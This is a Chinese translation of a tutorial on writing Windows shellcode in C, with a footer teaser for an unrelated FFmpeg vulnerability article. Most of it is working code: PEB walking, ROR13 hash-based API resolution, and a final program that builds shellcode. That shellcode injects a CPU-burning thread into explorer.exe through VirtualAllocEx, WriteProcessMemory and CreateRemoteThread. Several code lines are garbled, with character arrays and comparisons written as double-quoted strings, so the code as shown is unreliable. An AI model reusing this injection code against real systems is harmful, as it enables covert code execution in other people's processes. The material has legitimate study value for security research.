摘要:最終我厭倦了這樣的方式,雖然很懷念完備的功能,我還是開(kāi)始使用內(nèi)聯(lián)匯編來(lái)解決問(wèn)題。禁用棧緩沖區(qū)安全檢查。為了使微軟編譯器在棧上動(dòng)態(tài)的分配字符以便重定位,你需要如下處理你會(huì)發(fā)現(xiàn),我將字符串聲明為字符數(shù)組的形式。
背景
有時(shí)候程序員們需要寫(xiě)一段獨(dú)立于位置操作的代碼,可當(dāng)作一段數(shù)據(jù)寫(xiě)到其他進(jìn)程或者網(wǎng)絡(luò)中去。該類型代碼在它誕生之初就被稱為shellcode,在軟件中黑客們以此獲取到shell權(quán)限。方法就是通過(guò)這樣或那樣的惡意手法使得這段代碼得以執(zhí)行,完成它的使命。當(dāng)然了,該代碼的編寫(xiě)僅能靠它自己,作者無(wú)法使用現(xiàn)代軟件開(kāi)發(fā)的實(shí)踐來(lái)推進(jìn)shellcode的編寫(xiě)。
匯編常用于編寫(xiě)shellcode,特別是對(duì)代碼大小挑剔的時(shí)候,匯編就是不錯(cuò)的選擇。對(duì)我個(gè)人而言,多數(shù)項(xiàng)目都需要一段類似可以注入到其他進(jìn)程的代碼。這時(shí)候我就不是特別在意代碼大小了,反而是開(kāi)發(fā)效率以及調(diào)試能力顯得尤為重要。一開(kāi)始,我用NASM編寫(xiě)?yīng)毩⒌膮R編程序,把獲得的輸出文件轉(zhuǎn)換為C數(shù)組,然后整合到我的程序中。這正是你在milw0rm這樣的網(wǎng)站上所看到的,大多數(shù)exploit?payload的獲取方式。最終我厭倦了這樣的方式,雖然很懷念NASM完備的功能,我還是開(kāi)始使用內(nèi)聯(lián)匯編來(lái)解決問(wèn)題。隨著經(jīng)驗(yàn)的積累,我發(fā)現(xiàn)了一個(gè)完全可用的純C開(kāi)發(fā)shellcode的方法,僅需2條內(nèi)聯(lián)匯編指令。就開(kāi)發(fā)速度和調(diào)試shellcode時(shí)的上下文而言,真的比單純使用匯編的方法有很大的改進(jìn)。運(yùn)用機(jī)器級(jí)的比如ollydbg這樣的調(diào)試器,我毫不含糊,但這相對(duì)于用Visual?Studio調(diào)試器來(lái)調(diào)試C源碼,就是小菜一碟。
準(zhǔn)備工作為了確保能生成可用作shellcode這樣特定格式的代碼,我們需要對(duì)Visual?Studio做些特殊的配置。下面的各項(xiàng)配置,可能隨編譯器的變更而變更:
使用Release模式。近來(lái)編譯器的Debug模式可能產(chǎn)生逆序的函數(shù),并且會(huì)插入許多與位置相關(guān)的調(diào)用。
禁用優(yōu)化。編譯器會(huì)默認(rèn)優(yōu)化那些沒(méi)有使用的函數(shù),而那可能正是我們所需要的。
禁用棧緩沖區(qū)安全檢查(/Gs)。在函數(shù)頭尾所調(diào)用的棧檢查函數(shù),存在于二進(jìn)制文件的某個(gè)特定位置,導(dǎo)致輸出的函數(shù)不能重定位,這對(duì)shellcode是無(wú)意義的。
第一個(gè)shellcode#includevoid shell_code() { for (;;) ; } void __declspec(naked) END_SHELLCODE(void) {} int main(int argc, char *argv[]) { int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code; // Show some info about our shellcode buffer printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode); // Now we can test out the shellcode by calling it from C! shell_code(); return 0; }
這里所示例的shellcode除了一個(gè)無(wú)限循環(huán),啥事也沒(méi)干。不過(guò)有一點(diǎn)是比較重要的————放在shell_code函數(shù)之后的END_SHELLCODE。有了這個(gè),我們就能通過(guò)shell_code函數(shù)開(kāi)頭和END_SHELLCODE函數(shù)開(kāi)頭間的距離來(lái)確定shellcode的長(zhǎng)度了。還有,C語(yǔ)言在這里所體現(xiàn)的好處就是我們能夠把程序本身當(dāng)作一段數(shù)據(jù)來(lái)訪問(wèn),所以如果我們需要把shellcode寫(xiě)到另外一份文件中,僅需簡(jiǎn)單的調(diào)用fwrite(shell_code,?sizeofshellcode,?1,?filehandle)。
Visual?Studio環(huán)境中,通過(guò)調(diào)用shell_code函數(shù),借助IDE的調(diào)試技能,就可以很容易的調(diào)試shellcode了。
在上面所示的第一個(gè)小案例中,shellcode僅用了一個(gè)函數(shù),其實(shí)我們可以使用許多函數(shù)。只是所有的函數(shù)需要連續(xù)地存放在shell_code函數(shù)和END_SHELLCODE函數(shù)之間,這是因?yàn)楫?dāng)在內(nèi)部函數(shù)間調(diào)用時(shí),call指令總是相對(duì)的。call指令的意思是“從距這里X字節(jié)的地方調(diào)用一個(gè)函數(shù)”。所以如果我們把執(zhí)行call的代碼和被調(diào)用的代碼都拷貝到其他地方,同時(shí)又保證了它們間的相對(duì)距離,那么鏈接時(shí)就不會(huì)出岔子。
Shellcode中數(shù)據(jù)的使用傳統(tǒng)C源碼中,如果要用一段諸如ASCII字符的數(shù)據(jù),可以直接內(nèi)嵌進(jìn)去,無(wú)需擔(dān)心數(shù)據(jù)的存放,比如:?WinExec(“evil.exe”)。這里的“evil.exe”字符串被存儲(chǔ)在C程序的靜態(tài)區(qū)域(很可能是二進(jìn)制的.rdata節(jié)中),如果我們把這段代碼拷貝出來(lái),試圖將其注入到其他進(jìn)程中,就會(huì)因那段字符不存在于其他進(jìn)程的特定位置而失敗。傳統(tǒng)匯編編寫(xiě)的shellcode可以輕松的使用數(shù)據(jù),這通過(guò)使用call指令獲取到指向代碼本身的指針,而這段代碼可能就混雜著數(shù)據(jù)。下面是一個(gè)使用匯編實(shí)現(xiàn)的shellcode方式的WinExec調(diào)用:
call end_of_string db "evil.exe",0 end_of_string: call WinExec
這里的第一個(gè)call指令跳過(guò)字符數(shù)據(jù)”evial.exe”,同時(shí)在棧頂存放了一個(gè)指向字符串的指針,稍后會(huì)被用作WinExec函數(shù)的參數(shù)。這種新穎的使用數(shù)據(jù)的方法有著很高的空間利用率,但是很可惜在C語(yǔ)言中沒(méi)有與此等價(jià)的直接調(diào)用。在用C寫(xiě)shellcode時(shí),我建議使用棧區(qū)來(lái)存放和使用字符串。為了使微軟編譯器在棧上動(dòng)態(tài)的分配字符以便重定位,你需要如下處理:
char mystring[] = {"e","v","i","l",".","e","x","e",0}; winexec(mystring);
你會(huì)發(fā)現(xiàn),我將字符串聲明為字符數(shù)組的形式。如果我這樣寫(xiě)char?mystring[]?=?“evil.exe”;?在老式的微軟編譯器中,它會(huì)通過(guò)一系列的mov指令來(lái)構(gòu)成字符串,而現(xiàn)在僅會(huì)簡(jiǎn)單的將字符串從內(nèi)存中的固定位置拷貝到棧中,而如果需要重定位代碼,這就無(wú)效了。把兩種方法都試試,下載免費(fèi)的IDA?Pro版本看看它們的反匯編代碼。上面的賦值語(yǔ)句的反匯編應(yīng)該看起來(lái)如下所示:
mov [ebp+mystring], 65h mov [ebp+mystring+1], 76h mov [ebp+mystring+2], 69h mov [ebp+mystring+3], 6Ch mov [ebp+mystring+4], 2Eh mov [ebp+mystring+5], 65h mov [ebp+mystring+6], 78h mov [ebp+mystring+7], 65h mov [ebp+mystring+8], 0
處理數(shù)據(jù)時(shí),字符串真的是很頭疼的一件事。其他比如結(jié)構(gòu)體、枚舉、typedef聲明、函數(shù)指針啊這些,都能如你預(yù)期的那樣正常工作,你可以利用C提供的全套功能。確保數(shù)據(jù)為局部變量,一切都OK了。
使用庫(kù)函數(shù)我將這篇文章專注于Windows環(huán)境的shellcode。上面所提及的一些規(guī)則也適用于Unix系統(tǒng)。Windows環(huán)境下的shellcode會(huì)更復(fù)雜一點(diǎn),因?yàn)槲覀儧](méi)有一致公開(kāi)的方法進(jìn)行系統(tǒng)調(diào)用,就像在Unix中僅需幾條匯編代碼就可以的那樣(對(duì)int?80h的調(diào)用)。我們需要利用DLL中提供的API函數(shù),來(lái)進(jìn)行系統(tǒng)調(diào)用做些像讀寫(xiě)文件、網(wǎng)絡(luò)通信這樣的事。這些DLL最終會(huì)進(jìn)行必要的系統(tǒng)調(diào)用,而它的實(shí)現(xiàn)細(xì)節(jié)幾乎隨著每次Windows的發(fā)布而變化。像《The?Shellcoder’s?Handbook》這樣的標(biāo)榜性著作描繪了搜尋內(nèi)存中DLL和函數(shù)的方法。如果想將shellcode做到在不同Windows版本間的可移植性,有兩個(gè)函數(shù)是必須的:1、查找kernel32.dll的函數(shù);2、實(shí)現(xiàn)GetProcAddress()函數(shù)或者查找GetProcAddress()地址的函數(shù)。我所提供的實(shí)現(xiàn)是基于hash的而非字符串的比較,下面我將提供用于shellcode的hash實(shí)現(xiàn),并做個(gè)簡(jiǎn)短的說(shuō)明。
Hash函數(shù)在shellcode中,使用hash進(jìn)行函數(shù)的查詢是比較普遍的。較流行的ROR13?hash方法是最常用的,它的實(shí)現(xiàn)也用在了《The?Shellcoder’s?Handbook》中。它的基本思想是當(dāng)我們要查詢一個(gè)名為“MyFunction”的函數(shù)時(shí),不是將字符串存放在內(nèi)存中,對(duì)每個(gè)函數(shù)名進(jìn)行字符串的比對(duì),而是生成一個(gè)32位的hash值,將每個(gè)函數(shù)名進(jìn)行hash比對(duì)。這并不能減小運(yùn)行時(shí)間,但是可以節(jié)省shellcode的空間,也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13?hash實(shí)現(xiàn):
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) { DWORD hash = 0; while (*unicode_string != 0) { DWORD val = (DWORD)*unicode_string++; hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; } return hash; } DWORD __stdcall ror13_hash(const char *string) { DWORD hash = 0; while (*string) { DWORD val = (DWORD) *string++; hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; } return hash; }查找DLL
有3個(gè)鏈表可以用來(lái)描述內(nèi)存中加載的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進(jìn)程環(huán)境塊)中。在你的shellcode中,用哪個(gè)都可以,我所用的是InMemoryOrderModuleList。需要如下的兩條內(nèi)聯(lián)匯編來(lái)訪問(wèn)PEB:
PPEB __declspec(naked) get_peb(void) { __asm { mov eax, fs:[0x30] ret } }
現(xiàn)在我們已經(jīng)獲取了PEB,可以查詢內(nèi)存中的DLL了。唯一的一直存在于Windows進(jìn)程內(nèi)存中的DLL是ntdll.dll,但kernel32.dll會(huì)更方便一點(diǎn),并且在99.99%的Windows進(jìn)程中(Win32子系統(tǒng))都可用。下面我提供的代碼實(shí)現(xiàn)會(huì)查詢module列表,利用unicode的ROR13?hash值查到kernel32.dll。
HMODULE __stdcall find_kernel32(void) { return find_module_by_hash(0x8FECD63F); } HMODULE __stdcall find_module_by_hash(DWORD hash) { PPEB peb; LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; peb = get_peb(); module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; first_mod = module_ptr; do { if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) return (HMODULE)module_ptr->Reserved2[0]; else module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; } while (module_ptr && module_ptr != first_mod); // because the list wraps, return INVALID_HANDLE_VALUE; }
這里所提供的find_module_by_hash函數(shù)可以利用dll名稱的hash值找到任意的加載在內(nèi)存中的DLL。如果要加載一個(gè)新的原本不再內(nèi)存中的DLL,就需要使用kernel32.dll中的LoadLibrary函數(shù)。要找到LoadLibrary函數(shù),我們就需要實(shí)現(xiàn)GetProcAddress函數(shù)。下面的代碼實(shí)現(xiàn)利用函數(shù)名的hash值在加載的dll中查找函數(shù):
FARPROC __stdcall find_function(HMODULE module, DWORD hash) { IMAGE_DOS_HEADER *dos_header; IMAGE_NT_HEADERS *nt_headers; IMAGE_EXPORT_DIRECTORY *export_dir; DWORD *names, *funcs; WORD *nameords; int i; dos_header = (IMAGE_DOS_HEADER *)module; nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); names = (DWORD *)((char *)module + export_dir->AddressOfNames); funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); for (i = 0; i < export_dir->NumberOfNames; i++) { char *string = (char *)module + names[i]; if (hash == ror13_hash(string)) { WORD nameord = nameords[i]; DWORD funcrva = funcs[nameord]; return (FARPROC)((char *)module + funcrva); } } return NULL; }
現(xiàn)在我們可以這樣查找函數(shù):
HMODULE kern32 = find_kernel32(); FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA
最終成品
現(xiàn)在我將以完整的C程序的方式來(lái)展示上面所提及的內(nèi)容。代碼執(zhí)行時(shí),將生成名為shellcode.bin的文件,它就存儲(chǔ)著shellcode。該shellcode可以向explorer.exe注入一個(gè)線程,實(shí)現(xiàn)無(wú)限循環(huán),直至消耗完cpu。?
#include#include #include #include #include PPEB get_peb(void); DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string); DWORD __stdcall ror13_hash(const char *string); HMODULE __stdcall find_module_by_hash(DWORD hash); HMODULE __stdcall find_kernel32(void); FARPROC __stdcall find_function(HMODULE module, DWORD hash); HANDLE __stdcall find_process(HMODULE kern32, const char *procname); VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size); BOOL __stdcall strmatch(const char *a, const char *b); void __stdcall shell_code() { HMODULE kern32; DWORD *dwptr; HANDLE hProcess; char procname[] = {"e","x","p","l","o","r","e","r",".","e","x","e",0}; char code[] = {0xEB, 0xFE}; kern32 = find_kernel32(); hProcess = find_process(kern32, (char *)procname); inject_code(kern32, hProcess, code, sizeof code); } HANDLE __stdcall find_process(HMODULE kern32, const char *procname) { FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED); FARPROC process32first = find_function(kern32, 0x3249BAA7); FARPROC process32next = find_function(kern32, 0x4776654A); FARPROC openprocess = find_function(kern32, 0xEFE297C0); FARPROC createprocess = find_function(kern32, 0x16B3FE72); HANDLE hSnapshot; PROCESSENTRY32 pe32; hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return INVALID_HANDLE_VALUE; pe32.dwSize = sizeof( PROCESSENTRY32 ); if (!process32first(hSnapshot, &pe32)) return INVALID_HANDLE_VALUE; do { if (strmatch(pe32.szExeFile, procname)) { return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); } } while (process32next(hSnapshot, &pe32)); return INVALID_HANDLE_VALUE; } BOOL __stdcall strmatch(const char *a, const char *b) { while (*a != "" && *b != "") { char aA_delta = "a" - "A"; char a_conv = *a >= "a" && *a <= "z" ? *a - aA_delta : *a; char b_conv = *b >= "a" && *b <= "z" ? *b - aA_delta : *b; if (a_conv != b_conv) return FALSE; a++; b++; } if (*b == "" && *a == "") return TRUE; else return FALSE; } VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size) { FARPROC virtualallocex = find_function(kern32, 0x6E1A959C); FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1); FARPROC createremotethread = find_function(kern32, 0x72BD9CDD); LPVOID remote_buffer; DWORD dwNumBytesWritten; remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remote_buffer == NULL) return; if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten)) return; createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL); } HMODULE __stdcall find_kernel32(void) { return find_module_by_hash(0x8FECD63F); } HMODULE __stdcall find_module_by_hash(DWORD hash) { PPEB peb; LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod; peb = get_peb(); module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink; first_mod = module_ptr; do { if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash) return (HMODULE)module_ptr->Reserved2[0]; else module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0]; } while (module_ptr && module_ptr != first_mod); // because the list wraps, return INVALID_HANDLE_VALUE; } PPEB __declspec(naked) get_peb(void) { __asm { mov eax, fs:[0x30] ret } } DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string) { DWORD hash = 0; while (*unicode_string != 0) { DWORD val = (DWORD)*unicode_string++; hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val; } return hash; } DWORD __stdcall ror13_hash(const char *string) { DWORD hash = 0; while (*string) { DWORD val = (DWORD) *string++; hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val; } return hash; } FARPROC __stdcall find_function(HMODULE module, DWORD hash) { IMAGE_DOS_HEADER *dos_header; IMAGE_NT_HEADERS *nt_headers; IMAGE_EXPORT_DIRECTORY *export_dir; DWORD *names, *funcs; WORD *nameords; int i; dos_header = (IMAGE_DOS_HEADER *)module; nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew); export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); names = (DWORD *)((char *)module + export_dir->AddressOfNames); funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions); nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals); for (i = 0; i < export_dir->NumberOfNames; i++) { char *string = (char *)module + names[i]; if (hash == ror13_hash(string)) { WORD nameord = nameords[i]; DWORD funcrva = funcs[nameord]; return (FARPROC)((char *)module + funcrva); } } return NULL; } void __declspec(naked) END_SHELLCODE(void) {} int main(int argc, char *argv[]) { FILE *output_file = fopen("shellcode.bin", "w"); fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file); fclose(output_file); return 0; }
原文 Writing Shellcode with a C Compiler
翻譯 徐文博
via idf.cn
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/11079.html
摘要:二漏洞成因分析在協(xié)議中,最小的發(fā)送數(shù)據(jù)包的單位是一個(gè)。這次漏洞的起因是對(duì)于屬于同一個(gè)的的字段沒(méi)有校驗(yàn)前后是否一致,導(dǎo)致寫(xiě)入堆的時(shí)候緩沖區(qū)溢出??梢圆渴鹪诙焉?,然后在程序中尋找合適的把棧指針遷移到堆上就行了。 作者:棧長(zhǎng)@螞蟻金服巴斯光年安全實(shí)驗(yàn)室 一、前言FFmpeg是一個(gè)著名的處理音視頻的開(kāi)源項(xiàng)目,使用者眾多。2016年末paulcher發(fā)現(xiàn)FFmpeg三個(gè)堆溢出漏洞分別為CVE-2...
閱讀 2098·2021-11-08 13:22
閱讀 2571·2021-09-04 16:40
閱讀 1213·2021-09-03 10:29
閱讀 1768·2019-08-30 15:44
閱讀 2168·2019-08-30 11:13
閱讀 2854·2019-08-29 17:07
閱讀 2026·2019-08-29 14:22
閱讀 1306·2019-08-26 14:00